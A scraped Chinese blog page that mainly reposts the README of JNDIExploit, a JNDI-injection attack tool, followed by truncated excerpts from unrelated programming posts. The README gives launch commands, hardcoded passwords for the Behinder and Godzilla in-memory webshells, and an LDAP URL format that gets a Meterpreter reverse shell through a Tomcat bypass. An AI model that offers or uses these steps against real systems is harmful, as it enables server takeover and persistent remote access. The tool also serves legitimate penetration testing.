当前位置： 首页 > news >正文

JNDIExploit使用方法

news 2026/5/13 15:58:22

JNDIExploit

一款用于 JNDI注入 利用的工具，大量参考/引用了 Rogue JNDI 项目的代码，支持直接植入内存shell，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。

对 @feihong-cs 大佬的项目https://github.com/feihong-cs/JNDIExploit 进行了一些改进,tomcatBypass现可直接上线msf。见添加内容2

免责声明

该工具仅用于安全自查检测

由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。

添加内容

添加内容是为了支持SpringBootExploit工具，是定制版的服务端。

  1. 启动方式：java -jar JNDIExploit-1.3-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456
  2. 根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnb
  3. data/behinder3.jar 是为了支持SnakYaml RCE
  4. 添加HTTPServer处理更多的请求，为了更好支持SpringBootExploit工具
  5. 将文件放在data目录下，通过HTTPServer可以访问文件内容如同python的HTTPServer

添加内容2

新增哥斯拉内存马

  • 支持引用类远程加载方式打入（Basic路由）
  • 支持本地工厂类方式打入 （TomcatBypass路由）

哥斯拉客户端配置：

密码：pass1024
密钥：key
有效载荷：JavaDynamicPayload
加密器：JAVA_AES_BASE64

修复之前版本中的一些问题，冰蝎内存马现已直接可用冰蝎客户端直连

新增msf上线支持

  • 支持tomcatBypass路由直接上线msf：
  使用msf的java/meterpreter/reverse_tcp开启监听ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]

TODO

  1. 本地ClassPath反序列化漏洞利用方式
  2. 支持自定义内存马密码
  3. 内存马模块改一下

使用说明

使用 java -jar JNDIExploit.jar -h 查看参数说明，其中 --ip 参数为必选参数

相关文章：

JNDIExploit使用方法

JNDIExploit 一款用于 JNDI注入 利用的工具，大量参考/引用了 Rogue JNDI 项目的代码，支持直接植入内存shell，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。 对 feihong-cs 大佬的项目https://github.com/fe…...

编程日记 2023/3/1 11:32:57

建议一般人不要全职做副业

欢迎关注勤于奋每天12点准时更新国外LEAD相关技术全职做国外LEAD，听起来不错，但是效果不一定好，没有自控力来全职做，基本要废了自己，最好抽时间来做。我现在就是全职做国外LEAD，外加其他一些项目&#xff0…...

编程日记 2023/3/1 11:31:43

pytorch入门6--数据分析(pandas)

pandas是基于Numpy构建的，提供了众多比NumPy更高级、更直观的数据处理功能，尤其是它的DataFrame数据结构，可以用处理数据库或电子表格的方式来处理分析数据。 使用Pandas前，需导入以下内容： import numpy as np from …...

编程日记 2023/3/1 11:30:01

淘宝API接口开发系列，详情接口参数说明

onebound.taobao.item_get 公共参数 名称类型必须描述keyString是 调用key（必须以GET方式拼接在URL中） 注册Key和secret： https://o0b.cn/anzexi secretString是调用密钥api_nameString是API接口名称（包括在请求地址中&#xff0…...

编程日记 2023/3/1 11:28:40

keep-alive

keep-alive 是 Vue 的内置组件，当它包裹动态组件时，会缓存不活动的组件实例，而不是销毁它们。 keep-alive 包裹动态组件时，会缓存不活动的组件实例，而不是销毁它们 使用场景 使用原则：当我们在某些场景下…...

编程日记 2023/3/1 11:27:26

Maven的生命周期及常用命令

文章目录1、Maven生命周期1.1、clean生命周期1.2、default生命周期1.3、site生命周期2、Maven常用命令1、Maven生命周期 Maven有三套生命周期系统： 1、clean生命周期 2、default生命周期 3、site生命周期 三套生命周期之间相互独立，每套生命周期包含一…...

编程日记 2023/3/1 11:25:53

【Java开发】JUC基础 03：线程五大状态和主要方法

1 概念介绍📌 五大状态：new：Thread t new Thread(); 线程对象一旦被创建就进入到了新生状态；就绪状态：当调用start()方法，线程立即进入就绪状态，但不意味着立即调度执行；运行状态&a…...

编程日记 2023/3/1 11:24:39

docker打包容器 在另一个机器上运行

1：将运行中的容器变为镜像docker commit 容器id 镜像名（docker commit 89e81386d35e aabbcc）2:将容器打包成tar包docker save -o xxx.tar 镜像名 （当前路径下会生成一个tar的文件）3：将tar包压缩为gz包tar -…...

编程日记 2023/3/1 11:23:24

2023年全国最新保安员精选真题及答案9

百分百题库提供保安员考试试题、保安职业资格考试预测题、保安员考试真题、保安职业资格证考试题库等，提供在线做题刷题，在线模拟考试，助你考试轻松过关。 91.护卫对象在公共场所参加活动前，保安员需要事先（&#xff0…...

编程日记 2023/3/1 11:22:14

arduino-sentry2之卡片篇

欧克，今天在学生的强烈要求下 我又重启arduino的sentry2调试篇 目前实验结果，可以检测到10张交通卡片 也就是如图所示十张 具体视频如下： https://live.csdn.net/v/279170 具体代码如下： #include <Arduino.h> #include <...

编程日记 2023/3/1 11:20:49

七、JUC并发工具

文章目录JUC并发工具CountDownLatch应用&源码分析CountDownLatch介绍CountDownLatch应用CountDownLatch源码分析有参构造await方法countDown方法CyclicBarrier应用&源码分析CyclicBarrier介绍CyclicBarrier应用CyclicBarrier源码分析CyclicBarrier的核心属性CyclicBarr…...

编程日记 2023/3/1 11:19:35

C++ string类（二）及深浅拷贝

一、string类方法使用举例1.迭代器迭代器本质&#xff1a;指针&#xff08;理解&#xff09;迭代器&#xff1a;正向迭代器&#xff1a; begin() | end() 反向迭代器&#xff1a; rbegin() | rend()2.find使用//找到s中某个字符 void TestString3() {string s("AAADEFNUIE…...

编程日记 2023/3/1 11:18:19

「TCG 规范解读」TCG 软件栈 TSS （上）

可信计算组织&#xff08;Ttrusted Computing Group,TCG&#xff09;是一个非盈利的工业标准组织&#xff0c;它的宗旨是加强在相异计算机平台上的计算环境的安全性。TCG于2003年春成立&#xff0c;并采纳了由可信计算平台联盟&#xff08;the Trusted Computing Platform Alli…...

编程日记 2023/3/1 11:17:08

（二）Markdown编辑器的使用效果 | 以CSDN自带MD编辑器为例

Markdown编辑器使用指南 &#xff08;一&#xff09;Markdown编辑器的使用示例 | 以CSDN自带MD编辑器为例&#xff08;二&#xff09;Markdown编辑器的使用效果 | 以CSDN自带MD编辑器为例 这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xf…...

编程日记 2023/3/1 11:15:34

WebSocket网络通信执行流程

目录WebSocket网络通信执行流程相关概念执行流程WebSocket网络通信执行流程 WebSocket协议&#xff1a;通过单个TCP连接在客户端和服务器之间建立全双工双向通信通道。 WebSocket 对象&#xff1a;提供了用于创建和管理 WebSocket 连接&#xff0c;以及可以通过该连接发送和接…...

编程日记 2023/3/1 11:14:10

【Shell学习笔记】4.Shell 基本运算符

前言 本章介绍Shell的基本运算符。 Shell 基本运算符 Shell 和其他编程语言一样&#xff0c;支持多种运算符&#xff0c;包括&#xff1a; 算数运算符关系运算符布尔运算符字符串运算符文件测试运算符 原生bash不支持简单的数学运算&#xff0c;但是可以通过其他命令来实现…...

编程日记 2023/3/1 11:12:49

无代码资讯 | 《低代码开发平台能力要求》发布；CADP列入Gartner《2022-2024 中型企业技术采用路线图》

栏目导读&#xff1a;无代码资讯栏目从全球视角出发&#xff0c;带您了解无代码相关最新资讯‍。TOP3 大事件1、《低代码开发平台能力要求》团体标准正式发布近日&#xff0c;中国电子工业标准化协会发布公告&#xff08;中电标【2022】037 号&#xff09;&#xff0c;由中国电…...

编程日记 2023/3/1 11:11:35

智能家居Homekit系列一智能插座

WiFi智能插座对于新手接触智能家居产品更加友好&#xff0c;不需要额外购买网关设备 很多智能小配件也给我们得生活带来极大的便捷&#xff0c;智能插座就是其中之一&#xff0c;比如外出忘记关空调&#xff0c;可以拿起手机远程关闭。 简单说就是&#xff1a;插座可以连接wi…...

编程日记 2023/3/1 11:10:07

React（三）：脚手架、组件化、生命周期、父子组件通信、插槽

React&#xff08;三&#xff09;一、脚手架安装和创建1.安装脚手架2.创建脚手架3.看看脚手架目录4.运行脚手架二、脚手架下从0开始写代码三、组件化1.类组件2.函数组件四、React的生命周期1.认识生命周期2.图解生命周期&#xff08;1&#xff09;Constructor&#xff08;2&…...

编程日记 2023/3/1 11:08:49

2023年电子竞技行业报告

第一章 行业概况 电子竞技也被称为电竞或eSports&#xff0c;是一种电子游戏的竞技活动&#xff0c;玩家在这里与其他人或团队对战&#xff0c;通常是在网络上或特定场地上进行。 电子竞技行业的发展与互联网和计算机技术的进步密不可分&#xff0c;同时还受到游戏开发商、赞…...

编程日记 2023/3/1 11:07:37

AI编码助手配置框架：六层缰绳架构实现团队规范与上下文持久化

1. 项目概述&#xff1a;为什么你的AI编码助手总像个“健忘的实习生”&#xff1f; 如果你和我一样&#xff0c;已经深度使用Claude Code、Cursor这类AI编码助手超过半年&#xff0c;那你一定经历过这种“血压升高”的时刻&#xff1a;明明昨天刚跟它详细解释过项目的架构规范…...

编程新知 2026/5/13 15:41:08

Harness层数据清洗自动化

Harness层数据清洗自动化：解放数据团队生产力的核心方案 开篇引子 上周我帮一家年GMV超20亿的电商客户排查数据故障，他们的数仓团队反馈连续3天的用户订单报表交易额比实际支付金额少了1200万，排查了3个小时才定位到根因：新接入的外卖业务系统的订单状态字段新增了枚举值6…...

编程新知 2026/5/13 14:53:39

音频算法调试利器：用Android App实时绘制EQ/DRC曲线，告别Matlab依赖

移动端音频算法调试革命&#xff1a;Android实时EQ/DRC可视化工具开发实战 在音频算法开发领域&#xff0c;调试环节长期被桌面级工具垄断&#xff0c;工程师们不得不忍受开发板与工作站之间的频繁切换。这种工作模式不仅效率低下&#xff0c;更无法满足现代音频产品快速迭代的…...

编程新知 2026/5/13 14:30:39

保姆级教程：用Forge为你的Minecraft服务器添加热门Mod（附Curseforge选包清单）

从零打造高可玩性Minecraft Mod服务器&#xff1a;Forge环境配置与精品Mod组合指南 当你第一次打开Curseforge网站&#xff0c;面对超过10万个Minecraft Mod时&#xff0c;那种既兴奋又茫然的感觉我深有体会。作为从2013年就开始运营Mod服务器的老玩家&#xff0c;我见证了太多…...

编程新知 2026/5/13 12:54:57

2025年英雄联盟国服内存级换肤技术深度解析：R3nzSkin架构设计与实现

2025年英雄联盟国服内存级换肤技术深度解析&#xff1a;R3nzSkin架构设计与实现 【免费下载链接】R3nzSkin-For-China-Server Skin changer for League of Legends (LOL) 项目地址: https://gitcode.com/gh_mirrors/r3/R3nzSkin-For-China-Server 你是否曾想过&#xff…...

编程新知 2026/5/13 10:53:45

用Arduino UNO和L298N驱动板，手把手教你让麦轮小车原地画个‘8’字（附完整代码）

用Arduino UNO和L298N驱动板实现麦轮小车8字轨迹编程实战 想让你的麦克纳姆轮小车跳出机械舞步吗&#xff1f;一个完美的"8"字轨迹不仅能展示麦轮的全向移动特性&#xff0c;更是检验运动控制算法的绝佳试金石。作为已经完成基础搭建的Arduino玩家&#xff0c;这个项…...

编程新知 2026/5/13 10:44:28

5分钟快速上手：res-downloader 全网资源下载神器终极指南

5分钟快速上手&#xff1a;res-downloader 全网资源下载神器终极指南 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader 你是否经…...

编程新知 2026/5/13 9:44:21

前后端分离林业产品推荐系统系统｜SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程

摘要 随着信息技术的快速发展&#xff0c;林业产品的销售和推广方式逐渐从传统线下模式转向数字化和智能化。林业产品种类繁多&#xff0c;消费者在选购时往往面临信息不对称的问题&#xff0c;难以高效匹配自身需求。同时&#xff0c;林业企业也缺乏精准的用户画像和推荐机制&…...

编程新知 2026/5/13 8:30:28

Spring AI介绍（一）

什么是Spring AI Spring AI是面向 Java 和 Spring 生态的原生生成式人工智能框架。它不是简单地将 Python 中的 LangChain 或 LlamaIndex 移植到 Java&#xff0c;而是依据 Spring 的设计理念——如依赖注入、POJO、模块化和可配置——重构生成式 AI 的全流程。通过 Spring Bo…...

编程新知 2026/5/13 8:12:34

滑块验证码的轨迹反欺诈：从原理到QCaptcha企业级防护实战

摘要&#xff1a;本文深度剖析滑块验证码的反欺诈技术&#xff0c;从第一代纯位移校验到第三代复合验证的演进过程。重点讲解QCaptcha平台如何通过前端SDK内置轨迹采集后端票据校验实现企业级防护&#xff0c;并提供不同场景的配置建议和实测数据对比。一、黑产自动化攻击现状在…...

编程新知 2026/5/13 7:23:46